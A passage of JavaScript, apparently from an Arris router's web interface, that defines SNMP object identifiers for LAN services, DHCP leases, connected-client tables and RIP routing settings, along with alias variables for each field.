Column(\"LanLinkLocalAddressV6\",\"1.3.6.1.4.1.4115.1.20.1.1.2.2.1.34\",4, 1);\nLanSrvTable.LanDNSRelayV6 = new Column(\"LanDNSRelayV6\",\"1.3.6.1.4.1.4115.1.20.1.1.2.2.1.35\",2);\nLanSrvTable.LanDNSOverrideV6 = new Column(\"LanDNSOverrideV6\",\"1.3.6.1.4.1.4115.1.20.1.1.2.2.1.36\",2);\nLanSrvTable.LanRouterAdminBridgeOptionDisplay = new Column(\"LanRouterAdminBridgeOptionDisplay\",\"1.3.6.1.4.1.4115.1.20.1.1.2.2.1.38\",2);\n\n// scm start\n//LanSrvTable.LanQosEnable = new Column(\"LanQosEnable\",\"1.3.6.1.4.1.4115.1.20.1.1.2.2.1.46\",2);\n// scm end\nvar arLanName=LanSrvTable.LanName;\nvar arLanSubnetMaskType=LanSrvTable.LanSubnetMaskType;\nvar arLanSubnetMask=LanSrvTable.LanSubnetMask;\nvar arLanGatewayIpType=LanSrvTable.LanGatewayIpType;\nvar arLanGatewayIp=LanSrvTable.LanGatewayIp;\nvar arLanGatewayIp2Type=LanSrvTable.LanGatewayIp2Type;\nvar arLanGatewayIp2=LanSrvTable.LanGatewayIp2;\nvar arLanVLanID=LanSrvTable.LanVLanID;\nvar arLanUseDHCP=LanSrvTable.LanUseDHCP;\nvar arLanStartDHCPType=LanSrvTable.LanStartDHCPType;\nvar arLanStartDHCP=LanSrvTable.LanStartDHCP;\nvar arLanEndDHCPType=LanSrvTable.LanEndDHCPType;\nvar arLanEndDHCP=LanSrvTable.LanEndDHCP;\nvar arLanLeaseTime=LanSrvTable.LanLeaseTime;\nvar arLanDomainName=LanSrvTable.LanDomainName;\nvar arLanRateLimit=LanSrvTable.LanRateLimit;\nvar arLanDownRateLimit=LanSrvTable.LanDownRateLimit;\nvar arLanUpRateLimit=LanSrvTable.LanUpRateLimit;\nvar arLanRelayDNS=LanSrvTable.LanRelayDNS;\nvar arLanIPv6Mode=LanSrvTable.LanIPv6Mode;\nvar arLanPassThru=LanSrvTable.LanPassThru;\nvar arLanFirewallOn=LanSrvTable.LanFirewallOn;\nvar arLanUPnPEnable=LanSrvTable.LanUPnPEnable;\nvar arLanCPEAging=LanSrvTable.LanCPEAging;\nvar arLanOverrideDNS=LanSrvTable.LanOverrideDNS;\nvar arLanNatAlgsEnabled=LanSrvTable.LanNatAlgsEnabled;\nvar arLanMappedInterface=LanSrvTable.LanMappedInterface;\nvar arLanEnvironmentControl=LanSrvTable.LanEnvironmentControl;\nvar arLanPrefixLengthV6=LanSrvTable.LanPrefixLengthV6;\nvar arLanUseDHCPV6=LanSrvTable.LanUseDHCPV6;\nvar arLanStartDHCPV6=LanSrvTable.LanStartDHCPV6;\nvar arLanEndDHCPV6=LanSrvTable.LanEndDHCPV6;\nvar arLanLeaseTimeV6=LanSrvTable.LanLeaseTimeV6;\nvar arLanLinkLocalAddressV6=LanSrvTable.LanLinkLocalAddressV6;\nvar arLanDNSRelayV6=LanSrvTable.LanDNSRelayV6;\nvar arLanDNSOverrideV6=LanSrvTable.LanDNSOverrideV6;\n//var arLanQosEnable=LanSrvTable.LanQosEnable;//added\nvar arLanRouterAdminBridgeOptionDisplay=LanSrvTable.LanRouterAdminBridgeOptionDisplay;\n\nvar arrisRouterLanSrvDiscoveryObjs = new Container(\"arrisRouterLanSrvDiscoveryObjs\", \"1.3.6.1.4.1.4115.1.20.1.1.2.7\");\narrisRouterLanSrvDiscoveryObjs.arrisRouterLanUPnPAdvTime= new Scalar(\"arrisRouterLanUPnPAdvTime\",\"1.3.6.1.4.1.4115.1.20.1.1.2.7.1\", 66);\narrisRouterLanSrvDiscoveryObjs.arrisRouterLanUPnPTtl= new Scalar(\"arrisRouterLanUPnPTtl\",\"1.3.6.1.4.1.4115.1.20.1.1.2.7.2\", 66);\narrisRouterLanSrvDiscoveryObjs.arrisRouterLanZeroConf= new Scalar(\"arrisRouterLanZeroConf\",\"1.3.6.1.4.1.4115.1.20.1.1.2.7.3\", 2);\narrisRouterLanSrvDiscoveryObjs.arrisRouterLanQosUPnP= new Scalar(\"arrisRouterLanQosUPnP\",\"1.3.6.1.4.1.4115.1.20.1.1.2.7.4\", 2);\nvar arLanUPnPAdvTime=arrisRouterLanSrvDiscoveryObjs.arrisRouterLanUPnPAdvTime;\nvar arLanUPnPTtl=arrisRouterLanSrvDiscoveryObjs.arrisRouterLanUPnPTtl;\nvar arLanZeroConf=arrisRouterLanSrvDiscoveryObjs.arrisRouterLanZeroConf;\nvar arLanQosUPnP=arrisRouterLanSrvDiscoveryObjs.arrisRouterLanQosUPnP;\n\n\nvar LanDNSTable = new Table(\"LanDNSTable\", \"1.3.6.1.4.1.4115.1.20.1.1.2.3\");\nLanDNSTable.LanDNSIdx = new Column(\"LanDNSIdx\",\"1.3.6.1.4.1.4115.1.20.1.1.2.3.1.1\",66);\nLanDNSTable.LanDNSIPAddrType = new Column(\"LanDNSIPAddrType\",\"1.3.6.1.4.1.4115.1.20.1.1.2.3.1.2\",2);\nLanDNSTable.LanDNSIPAddr = new Column(\"LanDNSIPAddr\",\"1.3.6.1.4.1.4115.1.20.1.1.2.3.1.3\",4, 1);\nLanDNSTable.LanDNSRowStatus = new Column(\"LanDNSRowStatus\",\"1.3.6.1.4.1.4115.1.20.1.1.2.3.1.4\",2);\nvar arLanDNSIdx=LanDNSTable.LanDNSIdx;\nvar arLanDNSIPAddrType=LanDNSTable.LanDNSIPAddrType;\nvar arLanDNSIPAddr=LanDNSTable.LanDNSIPAddr;\nvar arLanDNSRowStatus=LanDNSTable.LanDNSRowStatus;\n\nvar CmDoc30DhcpLeaseParameters = new Container(\"CmDoc30DhcpLeaseParameters\",\"1.3.6.1.4.1.4115.1.3.4.1.4.1\");\nCmDoc30DhcpLeaseParameters.DhcpLeaseTimeRemaining = new Scalar(\"DhcpLeaseTimeRemaining\",\"1.3.6.1.4.1.4115.1.3.4.1.4.1.4\",2);\nvar arDhcpLeaseTimeRemaining = CmDoc30DhcpLeaseParameters.DhcpLeaseTimeRemaining;\nCmDoc30DhcpLeaseParameters.DhcpOfferedLeaseTime = new Scalar(\"DhcpOfferedLeaseTime\",\"1.3.6.1.4.1.4115.1.3.4.1.4.1.1\",2);\nCmDoc30DhcpLeaseParameters.DhcpTimeUntilRenew = new Scalar(\"DhcpTimeUntilRenew\",\"1.3.6.1.4.1.4115.1.3.4.1.4.1.2\",2);\nCmDoc30DhcpLeaseParameters.DhcpTimeUntilRebind = new Scalar(\"DhcpTimeUntilRebind\",\"1.3.6.1.4.1.4115.1.3.4.1.4.1.3\",2);\nvar arDhcpOfferedLeaseTime = CmDoc30DhcpLeaseParameters.DhcpOfferedLeaseTime;\nvar arDhcpTimeUntilRenew = CmDoc30DhcpLeaseParameters.DhcpTimeUntilRenew;\nvar arDhcpTimeUntilRebind = CmDoc30DhcpLeaseParameters.DhcpTimeUntilRebind;\n\nvar ClientObjects = new Container(\"ClientObjects\", \"1.3.6.1.4.1.4115.1.20.1.1.2.4\");\nClientObjects.LanClientCount= new Scalar(\"LanClientCount\",\"1.3.6.1.4.1.4115.1.20.1.1.2.4.1\",66);\nClientObjects.LanCustomCount= new Scalar(\"LanCustomCount\",\"1.3.6.1.4.1.4115.1.20.1.1.2.4.4\",66);\nvar arLanClientCount=ClientObjects.LanClientCount;\nvar arLanCustomCount=ClientObjects.LanCustomCount;\n\nvar LanClientTable = new Table(\"LanClientTable\", \"1.3.6.1.4.1.4115.1.20.1.1.2.4.2\");\nLanClientTable.LanClientIPAddrType = new Column(\"LanClientIPAddrType\",\"1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.1\",2);\nLanClientTable.LanClientIPAddr = new Column(\"LanClientIPAddr\",\"1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.2\",4, 1);\nLanClientTable.LanClientHostName = new Column(\"LanClientHostName\",\"1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.3\",4);\nLanClientTable.LanClientMAC = new Column(\"LanClientMAC\",\"1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.4\",4, 1);\nLanClientTable.LanClientMACMfg = new Column(\"LanClientMACMfg\",\"1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.5\",4);\nLanClientTable.LanClientAdapterType = new Column(\"LanClientAdapterType\",\"1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.6\",2);\nLanClientTable.LanClientType = new Column(\"LanClientType\",\"1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.7\",2);\nLanClientTable.LanClientLeaseStart = new Column(\"LanClientLeaseStart\",\"1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.8\",4, 1);\nLanClientTable.LanClientLeaseEnd = new Column(\"LanClientLeaseEnd\",\"1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.9\",4, 1);\nLanClientTable.LanClientStatus = new Column(\"LanClientStatus\",\"1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.10\",2);\nLanClientTable.LanClientInfLease = new Column(\"LanClientInfLease\",\"1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.11\",2);\nLanClientTable.LanClientLeaseState = new Column(\"LanClientLeaseState\",\"1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.12\",2);\nLanClientTable.LanClientRowStatus = new Column(\"LanClientRowStatus\",\"1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.13\",2);\nLanClientTable.LanClientOnline = new Column(\"LanClientOnline\",\"1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.14\",2);\nLanClientTable.LanClientComment = new Column(\"LanClientComment\",\"1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.15\",4);\nLanClientTable.LanClientCustom = new Column(\"LanClientCustom\",\"1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.16\",2);\n// scm start\nLanClientTable.LanClientDeviceName  = new Column(\"LanClientDeviceName\", \"1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.20\", 2);\nLanClientTable.LanClientRSSI        = new Column(\"LanClientRSSI\",       \"1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.21\", 2);\nLanClientTable.LanClientLinkLocalAddr= new Column(\"LanClientLinkLocalAddr\",       \"1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.23\", 4);\n\n// scm end\nvar arLanClientIPAddrType=LanClientTable.LanClientIPAddrType;\nvar arLanClientIPAddr=LanClientTable.LanClientIPAddr;\nvar arLanClientHostName=LanClientTable.LanClientHostName;\nvar arLanClientMAC=LanClientTable.LanClientMAC;\nvar arLanClientMACMfg=LanClientTable.LanClientMACMfg;\nvar arLanClientAdapterType=LanClientTable.LanClientAdapterType;\nvar arLanClientType=LanClientTable.LanClientType;\nvar arLanClientLeaseStart=LanClientTable.LanClientLeaseStart;\nvar arLanClientLeaseEnd=LanClientTable.LanClientLeaseEnd;\nvar arLanClientStatus=LanClientTable.LanClientStatus;\nvar arLanClientInfLease=LanClientTable.LanClientInfLease;\nvar arLanClientLeaseState=LanClientTable.LanClientLeaseState;\nvar arLanClientRowStatus=LanClientTable.LanClientRowStatus;\nvar arLanClientOnline=LanClientTable.LanClientOnline;\nvar arLanClientComment=LanClientTable.LanClientComment;\nvar arLanClientCustom=LanClientTable.LanClientCustom;\n// scm add\nvar arLanClientDeviceName =   LanClientTable.LanClientDeviceName;\nvar arLanClientRSSI       =   LanClientTable.LanClientRSSI;\nvar arLanClientLinkLocalAddr       =   LanClientTable.LanClientLinkLocalAddr;\n\n\n\n\nvar DeviceUpDownTable = new Table(\"DeviceUpDownTable\", \"1.3.6.1.4.1.4115.1.20.1.1.2.4.3\");\nDeviceUpDownTable.DeviceUpDownIndex = new Column(\"DeviceUpDownIndex\",\"1.3.6.1.4.1.4115.1.20.1.1.2.4.3.1.1\",2);\nDeviceUpDownTable.DeviceUpDownMAC = new Column(\"DeviceUpDownMAC\",\"1.3.6.1.4.1.4115.1.20.1.1.2.4.3.1.2\",4, 1);\nDeviceUpDownTable.DeviceUpDownIPType = new Column(\"DeviceUpDownIPType\",\"1.3.6.1.4.1.4115.1.20.1.1.2.4.3.1.3\",2);\nDeviceUpDownTable.DeviceUpDownIPAddr = new Column(\"DeviceUpDownIPAddr\",\"1.3.6.1.4.1.4115.1.20.1.1.2.4.3.1.4\",4, 1);\nDeviceUpDownTable.DeviceUpDownStart = new Column(\"DeviceUpDownStart\",\"1.3.6.1.4.1.4115.1.20.1.1.2.4.3.1.5\",4, 1);\nDeviceUpDownTable.DeviceUpDownEnd = new Column(\"DeviceUpDownEnd\",\"1.3.6.1.4.1.4115.1.20.1.1.2.4.3.1.6\",4, 1);\nDeviceUpDownTable.DeviceUpDownStatus = new Column(\"DeviceUpDownStatus\",\"1.3.6.1.4.1.4115.1.20.1.1.2.4.3.1.7\",2);\nvar arDeviceUpDownIndex=DeviceUpDownTable.DeviceUpDownIndex;\nvar arDeviceUpDownMAC=DeviceUpDownTable.DeviceUpDownMAC;\nvar arDeviceUpDownIPType=DeviceUpDownTable.DeviceUpDownIPType;\nvar arDeviceUpDownIPAddr=DeviceUpDownTable.DeviceUpDownIPAddr;\nvar arDeviceUpDownStart=DeviceUpDownTable.DeviceUpDownStart;\nvar arDeviceUpDownEnd=DeviceUpDownTable.DeviceUpDownEnd;\nvar arDeviceUpDownStatus=DeviceUpDownTable.DeviceUpDownStatus;\n\nvar LanCustomTable = new Table(\"LanCustomTable\", \"1.3.6.1.4.1.4115.1.20.1.1.2.4.5\");\nLanCustomTable.LanCustomIdx = new Column(\"LanCustomIdx\",\"1.3.6.1.4.1.4115.1.20.1.1.2.4.5.1.1\",66);\nLanCustomTable.LanCustomMAC = new Column(\"LanCustomMAC\",\"1.3.6.1.4.1.4115.1.20.1.1.2.4.5.1.2\",4, 1);\nLanCustomTable.LanCustomIPAddrType = new Column(\"LanCustomIPAddrType\",\"1.3.6.1.4.1.4115.1.20.1.1.2.4.5.1.3\",2);\nLanCustomTable.LanCustomIPAddr = new Column(\"LanCustomIPAddr\",\"1.3.6.1.4.1.4115.1.20.1.1.2.4.5.1.4\",4, 1);\nLanCustomTable.LanCustomFriendName = new Column(\"LanCustomFriendName\",\"1.3.6.1.4.1.4115.1.20.1.1.2.4.5.1.5\",4);\nLanCustomTable.LanCustomHostName = new Column(\"LanCustomHostName\",\"1.3.6.1.4.1.4115.1.20.1.1.2.4.5.1.6\",4);\nLanCustomTable.LanCustomMACMfg = new Column(\"LanCustomMACMfg\",\"1.3.6.1.4.1.4115.1.20.1.1.2.4.5.1.7\",4);\nLanCustomTable.LanCustomComments = new Column(\"LanCustomComments\",\"1.3.6.1.4.1.4115.1.20.1.1.2.4.5.1.8\",4);\nLanCustomTable.LanCustomRowStatus = new Column(\"LanCustomRowStatus\",\"1.3.6.1.4.1.4115.1.20.1.1.2.4.5.1.9\",2);\nvar arLanCustomIdx=LanCustomTable.LanCustomIdx;\nvar arLanCustomMAC=LanCustomTable.LanCustomMAC;\nvar arLanCustomIPAddrType=LanCustomTable.LanCustomIPAddrType;\nvar arLanCustomIPAddr=LanCustomTable.LanCustomIPAddr;\nvar arLanCustomFriendName=LanCustomTable.LanCustomFriendName;\nvar arLanCustomHostName=LanCustomTable.LanCustomHostName;\nvar arLanCustomMACMfg=LanCustomTable.LanCustomMACMfg;\nvar arLanCustomComments=LanCustomTable.LanCustomComments;\nvar arLanCustomRowStatus=LanCustomTable.LanCustomRowStatus;\n\nvar LanCurrentClientTable = new Table(\"LanCurrentClientTable\", \"1.3.6.1.4.1.4115.1.20.1.1.2.4.6\");\nLanCurrentClientTable.LanCurrentClientIndex = new Column(\"LanCurrentClientIndex\",\"1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.1\",2);\nLanCurrentClientTable.LanCurrentClientIPAddrType = new Column(\"LanCurrentClientIPAddrType\",\"1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.2\",2);\nLanCurrentClientTable.LanCurrentClientIPAddr = new Column(\"LanCurrentClientIPAddr\",\"1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.3\",4, 1);\nLanCurrentClientTable.LanCurrentClientIPAddrTextual = new Column(\"LanCurrentClientIPAddrTextual\",\"1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.4\",4);\nLanCurrentClientTable.LanCurrentClientHostName = new Column(\"LanCurrentClientHostName\",\"1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.5\",4);\nLanCurrentClientTable.LanCurrentClientMAC = new Column(\"LanCurrentClientMAC\",\"1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.6\",4, 1);\nLanCurrentClientTable.LanCurrentClientMACMfg = new Column(\"LanCurrentClientMACMfg\",\"1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.7\",4);\nLanCurrentClientTable.LanCurrentClientAdapterType = new Column(\"LanCurrentClientAdapterType\",\"1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.8\",2);\nLanCurrentClientTable.LanCurrentClientType = new Column(\"LanCurrentClientType\",\"1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.9\",2);\nLanCurrentClientTable.LanCurrentClientLeaseStart = new Column(\"LanCurrentClientLeaseStart\",\"1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.10\",4, 1);\nLanCurrentClientTable.LanCurrentClientLeaseEnd = new Column(\"LanCurrentClientLeaseEnd\",\"1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.11\",4, 1);\nLanCurrentClientTable.LanCurrentClientStatus = new Column(\"LanCurrentClientStatus\",\"1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.12\",2);\nLanCurrentClientTable.LanCurrentClientInfLease = new Column(\"LanCurrentClientInfLease\",\"1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.13\",2);\nLanCurrentClientTable.LanCurrentClientLeaseState = new Column(\"LanCurrentClientLeaseState\",\"1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.14\",2);\nLanCurrentClientTable.LanCurrentClientFirstSeen = new Column(\"LanCurrentClientFirstSeen\",\"1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.15\",4, 1);\nLanCurrentClientTable.LanCurrentClientLastSeen = new Column(\"LanCurrentClientLastSeen\",\"1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.16\",4, 1);\nLanCurrentClientTable.LanCurrentClientConnectionInfo = new Column(\"LanCurrentClientConnectionInfo\",\"1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.17\",4);\nLanCurrentClientTable.LanCurrentClientLeaseTime = new Column(\"LanCurrentClientLeaseTime\",\"1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.18\",2);\nvar arLanCurrentClientIndex=LanCurrentClientTable.LanCurrentClientIndex;\nvar arLanCurrentClientIPAddrType=LanCurrentClientTable.LanCurrentClientIPAddrType;\nvar arLanCurrentClientIPAddr=LanCurrentClientTable.LanCurrentClientIPAddr;\nvar arLanCurrentClientIPAddrTextual=LanCurrentClientTable.LanCurrentClientIPAddrTextual;\nvar arLanCurrentClientHostName=LanCurrentClientTable.LanCurrentClientHostName;\nvar arLanCurrentClientMAC=LanCurrentClientTable.LanCurrentClientMAC;\nvar arLanCurrentClientMACMfg=LanCurrentClientTable.LanCurrentClientMACMfg;\nvar arLanCurrentClientAdapterType=LanCurrentClientTable.LanCurrentClientAdapterType;\nvar arLanCurrentClientType=LanCurrentClientTable.LanCurrentClientType;\nvar arLanCurrentClientLeaseStart=LanCurrentClientTable.LanCurrentClientLeaseStart;\nvar arLanCurrentClientLeaseEnd=LanCurrentClientTable.LanCurrentClientLeaseEnd;\nvar arLanCurrentClientStatus=LanCurrentClientTable.LanCurrentClientStatus;\nvar arLanCurrentClientInfLease=LanCurrentClientTable.LanCurrentClientInfLease;\nvar arLanCurrentClientLeaseState=LanCurrentClientTable.LanCurrentClientLeaseState;\nvar arLanCurrentClientFirstSeen=LanCurrentClientTable.LanCurrentClientFirstSeen;\nvar arLanCurrentClientLastSeen=LanCurrentClientTable.LanCurrentClientLastSeen;\nvar arLanCurrentClientConnectionInfo=LanCurrentClientTable.LanCurrentClientConnectionInfo;\nvar arLanCurrentClientLeaseTime=LanCurrentClientTable.LanCurrentClientLeaseTime;\n\nvar LanStaticClientTable = new Table(\"LanStaticClientTable\", \"1.3.6.1.4.1.4115.1.20.1.1.2.4.7\");\nLanStaticClientTable.LanStaticClientIndex = new Column(\"LanStaticClientIndex\",\"1.3.6.1.4.1.4115.1.20.1.1.2.4.7.1.1\",2);\nLanStaticClientTable.LanStaticClientIPAddrType = new Column(\"LanStaticClientIPAddrType\",\"1.3.6.1.4.1.4115.1.20.1.1.2.4.7.1.2\",2);\nLanStaticClientTable.LanStaticClientIPAddr = new Column(\"LanStaticClientIPAddr\",\"1.3.6.1.4.1.4115.1.20.1.1.2.4.7.1.3\",4, 1);\nLanStaticClientTable.LanStaticClientHostName = new Column(\"LanStaticClientHostName\",\"1.3.6.1.4.1.4115.1.20.1.1.2.4.7.1.4\",4);\nLanStaticClientTable.LanStaticClientMAC = new Column(\"LanStaticClientMAC\",\"1.3.6.1.4.1.4115.1.20.1.1.2.4.7.1.5\",4, 1);\nLanStaticClientTable.LanStaticClientRowStatus = new Column(\"LanStaticClientRowStatus\",\"1.3.6.1.4.1.4115.1.20.1.1.2.4.7.1.6\",2);\nvar arLanStaticClientIndex=LanStaticClientTable.LanStaticClientIndex;\nvar arLanStaticClientIPAddrType=LanStaticClientTable.LanStaticClientIPAddrType;\nvar arLanStaticClientIPAddr=LanStaticClientTable.LanStaticClientIPAddr;\nvar arLanStaticClientHostName=LanStaticClientTable.LanStaticClientHostName;\nvar arLanStaticClientMAC=LanStaticClientTable.LanStaticClientMAC;\nvar arLanStaticClientRowStatus=LanStaticClientTable.LanStaticClientRowStatus;\n\nvar RIPObjects = new Container(\"RIPObjects\", \"1.3.6.1.4.1.4115.1.20.1.1.2.5\");\nRIPObjects.RIPEnable= new Scalar(\"RIPEnable\",\"1.3.6.1.4.1.4115.1.20.1.1.2.5.1\",2);\nRIPObjects.RIPAuthEnable= new Scalar(\"RIPAuthEnable\",\"1.3.6.1.4.1.4115.1.20.1.1.2.5.2\",2);\nRIPObjects.RIPReportTime= new Scalar(\"RIPReportTime\",\"1.3.6.1.4.1.4115.1.20.1.1.2.5.3\",66);\nRIPObjects.RIPAuthKeyString= new Scalar(\"RIPAuthKeyString\",\"1.3.6.1.4.1.4115.1.20.1.1.2.5.4\",4);\nRIPObjects.RIPAuthKeyID= new Scalar(\"RIPAuthKeyID\",\"1.3.6.1.4.1.4115.1.20.1.1.2.5.5\",2);\nRIPObjects.RIPIPAddrType= new Scalar(\"RIPIPAddrType\",\"1.3.6.1.4.1.4115.1.20.1.1.2.5.6\",2);\nRIPObjects.RIPIPAddr= new Scalar(\"RIPIPAddr\",\"1.3.6.1.4.1.4115.1.20.1.1.2.5.7\",4, 1);\nRIPObjects.RIPPrefixLen= new Scalar(\"RIPPrefixLen\",\"1.3.6.1.4.1.4115.1.20.1.1.2.5.8\",66);\nRIPObjects.RIPAuthKeyChain= new Scalar(\"RIPAuthKeyChain\",\"1.3.6.1.4.1.4115.1.20.1.1.2.5.9\",4);\nRIPObjects.RIPRoutedSubnetIPType= new Scalar(\"RIPRoutedSubnetIPType\",\"1.3.6.1.4.1.4115.1.20.1.1.2.5.10\",2);\nRIPObjects.RIPRoutedSubnetIP= new Scalar(\"RIPRoutedSubnetIP\",\"1.3.6.1.4.1.4115.1.20.1.1.2.5.11\",4, 1);\nRIPObjects.RIPRoutedSubnetGWNetIPType= new Scalar(\"RIPRoutedSubnetGWNetIPType\",\"1.3.6.1.4.1.4115.1.20.1.1.2.5.12\",2);\nRIPObjects.RIPRoutedSubnetGWNetIP= new Scalar(\"RIPRoutedSubnetGWNetIP\",\"1.3.6.1.4.1.4115.1.20.1.1.2.5.13\",4, 1);\nRIPObjects.RIPRoutedSubnetMask= new Scalar(\"RIPRoutedSubnetMask\",\"1.3.6.1.4.1.4115.1.20.1.1.2.5.14\",4, 1);\nRIPObjects.RIPRoutedSubnetEnabled= new Scalar(\"RIPRoutedSubnetEnabled\",\"1.3.6.1.4.1.4115.1.20.1.1.2.5.15\",2);\nRIPObjects.RIPSendCMInterface= new Scalar(\"RIPSendCMInterface\",\"1.3.6.1.4.1.4115.1.20.1.1.2.5.16\",2);\nRIPObjects.RIPRoutedSubnetDHCP= new Scalar(\"RIPRoutedSubnetDHCP\",\"1.3.6.1.4.1.4115.1.20.1.1.2.5.17\",2);\nRIPObjects.RIPRoutedSubnetNAT= new Scalar(\"RIPRoutedSubnetNAT\",\"1.3.6.1.4.1.4115.1.20.1.1.2.5.18\",2);\n// scm {\nRIPObjects.RIPInterface= new Scalar(\"RIPInterface\",\"1.3.6.1.4.1.4115.1.20.1.1.2.5.23\",2);\nRIPObjects.RIPSendVersion= new Scalar(\"RIPSendVersion\",\"1.3.6.1.4.1.4115.1.20.1.1.2.5.20\",4);\nRIPObjects.RIPRecvVersion= new Scalar(\"RIPRecvVersion\",\"1.3.6.1.4.1.4115.1.20.1.1.2.5.21\",2);\nRIPObjects.RIPDefaultMetric= new Scalar(\"RIPDefaultMetric\",\"1.3.6.1.4.1.4115.1.20.1.1.2.5.22\",2);\n    RIPObjects.RIPNeighbor= new Scalar(\"RIPNeighbor\",\"1.3.6.1.4.1.4115.1.20.1.1.2.5.23\",2);\n// scm {\nvar arRIPEnable=RIPObjects.RIPEnable;\nvar arRIPAuthEnable=RIPObjects.RIPAuthEnable;\nvar arRIPReportTime=RIPObjects.RIPReportTime;\nvar arRIPAuthKeyString=RIPObjects.RIPAuthKeyString;\nvar arRIPAuthKeyID=RIPObjects.RIPAuthKeyID;\nvar arRIPIPAddrType=RIPObjects.RIPIPAddrType;\nvar arRIPIPAddr=RIPObjects.RIPIPAddr;\nvar arRIPPrefixLen=RIPObjects.RIPPrefixLen;\nvar arRIPAuthKeyChain=RIPObjects.RIPAuthKeyChain;\nvar arRIPRoutedSubnetIPType=RIPObjects.RIPRoutedSubnetIPType;\nvar arRIPRoutedSubnetIP=RIPObjects.RIPRoutedSubnetIP;\nvar arRIPRoutedSubnetGWNetIPType=RIPObjects.RIPRoutedSubnetGWNetIPType;\nvar arRIPRoutedSubnetGWNetIP=RIPObjects.RIPRoutedSubnetGWNetIP;\nvar arRIPRoutedSubnetMask=RIPObjects.RIPRoutedSubnetMask;\nvar arRIPRoutedSubnetEnabled=RIPObjects.RIPRoutedSubnetEnabled;\nvar arRIPSendCMInterface=RIPObjects.RIPSendCMInterface;\nvar arRIPRoutedSubnetDHCP=RIPObjects.RIPRoutedSubnetDHCP;\nvar arRIPRoutedSubnetNAT=RIPObjects.RIPRoutedSubnetNAT;\n\nvar arRIPInterface=RIPObjects.RIPInterface;\nvar arRIPSendVersion=RIPObjects.RIPSendVersion;\nvar arRIPRecvVersion=RIPObjects.RIPRecvVersion;\nvar arRIPDefaultMetric=RIPObjects.RIPDefaultMetric;\nvar arRIPNeighbor=RIPObjects.RIPNeighbor;\n\n\nvar RIPRoutedSubnetTable = new Table(\"RIPRoutedSubnetTable\", \"1.3.6.1.4.1.4115.1.20.1.1.2.5.19\");\nRIPRoutedSubnetTable.RIPRoutedSubnetTableIndex = new Column(\"RIPRoutedSubnetTableIndex\",\"1.3.6.1.4.1.4115.1.20.1.1.2.5.19.1.1\",2);\nRIPRoutedSubnetTable.RIPRoutedSubnetTableIPType = new Column(\"RIPRoutedSubnetTableIPType\",\"1.3.6.1.4.1.4115.1.20.1.1.2.5.19.1.2\",2);\nRIPRoutedSubnetTable.RIPRoutedSubnetTableIP = new Column(\"RIPRoutedSubnetTableIP\",\"1.3.6.1.4.1.4115.1.20.1.1.2.5.19.1.3\",4, 1);\nRIPRoutedSubnetTable.RIPRoutedSubnetTableGWNetIPType = new Column(\"RIPRoutedSubnetTableGWNetIPType\",\"1.3.6.1.4.1.4115.1.20.1.1.2.5.19.1.4\",2);\nRIPRoutedSubnetTable.RIPRoutedSubnetTableGWNetIP = new Column(\"RIPRoutedSubnetTableGWNetIP\",\"1.3.6.1.4.1.4115.1.20.1.1.2.5.19.1.5\",4, 1);\nRIPRoutedSubnetTable.RIPRoutedSubnetTableMask = new Column(\"RIPRoutedSubnetTableMask\",\"1.3.6.1.4.1.4115.1.20.1.1.2.5.19.1.6\",4, 1);\nRIPRoutedSubnetTable.RIPRoutedSubnetTableEnabled = new Column(\"RIPRoutedSubnetTableEnabled\",\"1.3.6.1.4.1.4115.1.20.1.1.2.5.19.1.7\",2);\nRIPRoutedSubnetTable.RIPTableSendCMInterface = new Column(\"RIPTableSendCMInterface\",\"1.3.6.1.4.1.4115.1.20.1.1.2.5.19.1.8\",2);\nRIPRoutedSubnetTable.RIPRoutedSubnetTableDHCP = new Column(\"RIPRoutedSubnetTableDHCP\",\"1.3.6.1.4.1.4115.1.20.1.1.2.5.19.1.9\",2);\nRIPRoutedSubnetTable.RIPRoutedSubnetTableNAT = new Column(\"RIPRoutedSubnetTableNAT\",\"1.3.6.1.4.1.4115.1.20.1.1.2.5.19.1.10\",2);\nvar arRIPRoutedSubnetTableIndex=RIPRoutedSubnetTable.RIPRoutedSubnetTableIndex;\nvar arRIPRoutedSubnetTableIPType=RIPRoutedSubnetTable.RIPRoutedSubnetTableIPType;\nvar arRIPRoutedSubnetTableIP=RIPRoutedSubnetTable.RIPRoutedSubnetTableIP;\nvar arRIPRoutedSubnetTableGWNetIPType=RIPRoutedSubnetTable.RIPRoutedSubnetTableGWNetIPType;\nvar arRIPRoutedSubnetTableGWNetIP=RIPRoutedSubnetTable.RIPRoutedSubnetTableGWNetIP;\nvar 